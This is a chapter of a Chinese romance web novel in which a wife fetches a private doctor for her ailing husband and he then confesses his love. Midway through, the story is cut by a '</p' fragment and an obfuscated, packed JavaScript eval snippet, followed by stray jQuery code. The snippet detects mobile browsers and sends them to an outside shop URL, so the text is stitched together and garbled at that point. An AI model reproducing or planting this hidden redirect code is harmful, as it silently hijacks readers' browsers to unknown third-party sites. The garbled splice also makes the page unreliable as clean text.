虽然江崇文说自己没事,但许颂微压根不信。
听说有些豪门世家其实多少会有些家族疾病,不能对外说,所以凡是有权有势的人家都配了家庭医生和私人医生。
许颂微不知道私人医生的电话,但是作为江崇文的秘书,应该有吧?
事不宜迟,在确定那边能接电话后,许颂微火速拨过去。
“沈秘书,麻烦把江先生的私人医生的联系方式发我一下。”这句话说得磕磕绊绊,带着焦急和不易察觉的颤抖。
“哦好,我马上。”
能当上江氏董事长的秘书,自然都是有些本事的,她没错过许颂微强装镇定的语气,先按照许颂微说的执行。
“夫人!”在消息发送的下一刻,沈秘书叫住许颂微,“有什么事可以找我,我拿了江总发的工资,肯定是业务能力过关的。”
她不确定发生了什么事,但能让许颂微跳过江总直接找到自己,要不是有私下的事,其次就是江总本人出事了。
许颂微闻言微楞,在这种情况下,这句话让她镇静下来,沈秘书的确是个很可靠的人。
“好,我记住了。”
一般来说,私人医生的住处不会和雇主经常活动的场所太远,但打通电话后,过了快半个小时医生才满脑门汗的出现在门口。
中途等得焦灼,许颂微悄悄去卧房看了眼,男人蜷缩在床上,显然不是他说的“只是有点头疼”。
但即便医生来得十分、非常、极其——不及时,她也按捺住脾气,让他先给江崇文做检查。
“怎么样?”医生刚收起便携式医疗器械,许颂微就急忙询问。
医生看起来比刚到那会儿,额头上的汗更多了。
“这……从检查结果来看,江总的身体没有任何问题……”
或许他本人也觉得这么说很离谱,且没有可信度,所以后半截话没说出来。
床上的男人眉头紧锁,搭在前额的碎发被汗水浸湿,明眼人都能看出来这是难受、不舒服的模样,总之怎么也不像没事的样子。
许颂微不解说这个诊断结果。
“咱们到外面说吧。”
江崇文在医生到前几分钟才渐渐放松,不再是之前蜷缩起来的姿势。好不容易能好好躺着休息,千万不能吵醒他。
“怎么会什么问题也没有?医生你也瞧见了,没问题也能出这么多汗,面色这么难看吗?”许颂微即便在房外也压着声音。
医生有口难辩,怕人觉得自己在敷衍,他还检查了好几遍,但没问题怎么能说老板有问题!
“可……可这体温正常、呼吸正常、血压正常,心肺听诊和腹部触诊全都正常……”
他做江总的私人医生也好多年了,从没见过这种情况,而且他急着上门,许多器械带不过来,条件简陋,只能做到这种程度了。
“我看现在最好赶紧送江总去医院仔细做个检查,医院的器械多,检查得也更仔细。”
许颂微总算听到一句靠谱的,她立即动身。
“那咱们直接去医院,麻烦待会儿帮我把人扶上车……”
“宁宁……”
卧室里,本该好好休息的人不知什么时候醒了,打断许颂微的动作。
“这里这里,我在这里!”被唤的人像只招摇又吵闹的鸟儿,放了手里的活就叽叽喳喳着奔进卧房里了。
江崇文已经半坐起来,靠在床头上,人虽然醒了,但精神不是很好,身上也没什么力气,原本板板正正穿在身上的黑色衬衣,扣子解开一半,健硕饱满但不夸张的胸肌大咧咧半漏在外面。
让许颂微在关心他身体之余,目光硬生生被那片春光撕过去,颇用了几分意志才移开。
身材练这么好……
嘶……!住脑住脑!
身体身体!身体最重要!
呸!是健康!健康最重要!
“江先生你怎么样了?我们现在去医院,”许颂微十分担忧,“刚才医生也来了,他让我带你去医院……”
“好了,我没事了,不用去医院。”江崇文看她炸毛呼呼的样子,很自然伸手在她头上呼噜一把,手把翘起来的头发理顺。
又是这么说!
“嘴巴都能挂油瓶了,”江崇文见她不服地嘟着嘴表示抗议,眼里笑意泄出来,“我的身体我自己清楚,也别为难医生了,替我送送他好吗?”
这个狡诈的男人!
他不颐指气使直接让许颂微去做,而是像一个弱势的可怜蛋,请求许颂微帮帮他!
此男心计之深堪比现代孔明(资深引诱版)!
许颂微最吃这套,没等人磨上几句就答应下来。
“杨医生,今天麻烦你了。”
许颂微把人引到门边。
她犹豫了下,还是直接问出口:“可能有点冒昧,但我还是想知道,为什么今天过来的时间和以往对不上?”
刚才趁着杨医生检查时,许颂微问了沈秘书,医生就住在隔壁小区,过来的话顶天了十五分钟,但今天时间翻了倍。
说到这个,杨医生苦不堪言,刚才一路发生的事在他的脑海中冒出来。
“不算冒昧,”他擦擦脑门上不存在的汗,“其实我刚才在想,今天是不是不宜出门……还没走出家门,就被门槛绊了一跤,医疗箱里精密点的仪器怕碰出问题,回去换了一套,接着是等电梯,不知道这趟电梯上来多少人,竟然上一层停一下,我住在13楼……”
后面许颂微能猜到,等电梯花了不少时间。
“这还没完!”说着,不到四十,头发白了大半的主任医师激动起来
“到了江总楼下,电梯故障,正在维修,我——我是爬楼梯上来的!”
26层高,全景俯瞰半个江城,好地段、好位置、好高度大平层,住着十分舒心,但如果要用脚步丈量高度……那将是噩梦!
许颂微肃然起敬,对自己一开始的偏见和责怪深感痛绝。
“您稍等。”不能就这么让人离开。
杨医生不明所以,但依言等待。
很快,雇主提着个盒子出来了。
“这是新鲜蓝莓,我吃着不错,给您也拿些。”
称呼从“你”到“您”。
杨医生不肯要,但许颂微是个倔强的雇主。二人推拒拉扯一番,终是许颂微大获全胜。
把人送走,许颂微立刻迈大步吧嗒吧嗒回到江崇文身边。
“你今天不对劲!”她叉着腰,立眉竖眼,细白手指戳着男人的鼻子。
江崇文配合地缩缩肩膀,一副很害怕的样子,“你要惩罚我吗?”
虽然缩着肩,但还是没有显得很怂,倒有种宠溺的苏感。
毫无疑问,许颂微被惹恼了。
怎么有人做这种动作依旧这么帅!
她冲上去两手抱住男人的脸,使足了劲前后左右的摇晃,试图把人脑浆摇匀,就无法思考,只能任由她摆布了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557818|202808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
江崇文的脑浆没被摇出来,反而笑出了声,不是轻笑和正式场合里克制礼貌的客套的笑。
他放开了声,完全放松下来,是那种能让人感觉到他现在很愉悦,惬意的笑。
臭男人!
“身体真的没有不舒服了吗?”真的很让人担心啊!
“我说没事了你就不会担心我了吗?”江崇文顾左右而言他。
这不是废话吗!
“你说不说我都得确定你真的没事了才能放心!”
失衡者需要被关心、被在乎和被爱,这些刚好许颂微都有,也全都能给他。
OK啊许颂微,今日小情话云操练打卡成功!
“那……如果有一天我受伤了,”看到许颂微不赞同的表情,他强调前提条件,“是如果,我不跟你说,甚至为了瞒你还不和你见面……”你是什么感受?
“我们不是夫妻吗?为什么瞒我?刚刚不还说想和我一起走完余生,怎么?睡一觉就不认了?不想和我过了?那不如离……”婚。
什么感受不用问了,攻击性已经拉满到前所未有的高度了。
江崇文在她说出那个词之前赶紧捂住她的嘴。
“宝宝你真的很像一把机关木仓……”男人深深喟叹。
许颂微忽略“宝宝”一词,直接抓住关键,“你才是机关木仓!”
哦。
还是根木头和空耳大师。
江崇文想。
“我和你是一样的。”江崇文试图让她换位思考。
“什么一样?机关木仓吗?”许颂微根本不打算这个话题就这么揭过。
江崇文:“。”
“不是。”
“我是说,你如果受伤或者难过,也可以试着依赖我、相信我,”江崇文严肃,但还是温柔,“如果我的感觉没错,你并不讨厌和排斥我对吗。”
何止不讨厌和排斥,甚至很心动。
但许颂微说不出这种肉麻兮兮的话。
在某些时刻,不说话就代表默认。江崇文知道她的答案了,没人比他更了解许颂微这个人。
所以在许颂微沉默的时候,他就知道他猜对了。
“所以就当可怜我,可以让我做你的依靠和港湾吗?”
那种像被雨淋湿的小狗的感觉又涌上来了。
江崇文怕被判OOC,一字一句都反复斟酌可才敢开口。
木头可能听不懂拐弯抹角的,但都这么直截了当了,就是木头也能知道江崇文的意思了。
他在表白。
现在,木头本人,也就是许颂微,面上染着薄红,像太阳落下后的晚霞。
突然表白是怎么回事: )
虽然我也很中意你,但是我允许你叫宝宝了吗!
是的没错,解锁这个形态的许颂微会开启回溯模式,想起之前忽略的细节。
“好叭,我会的。”
那就给你这个机会吧。
许颂微娇矜的抬起下巴。
江崇文听到回答,眼角眉梢全是笑意,他得寸进尺,“那能抱一下吗?”
哪知许颂微在他眼前举起一根手指,左右摇了摇,“不对。”
什么不对?
他还没来得及反思哪里做错,就揭晓了答案。
“你应该说,机关木仓,能抱一下吗?”简直十分记仇。
江崇文:“。。。”
他发誓,他再也不会提机关木仓这个东西了。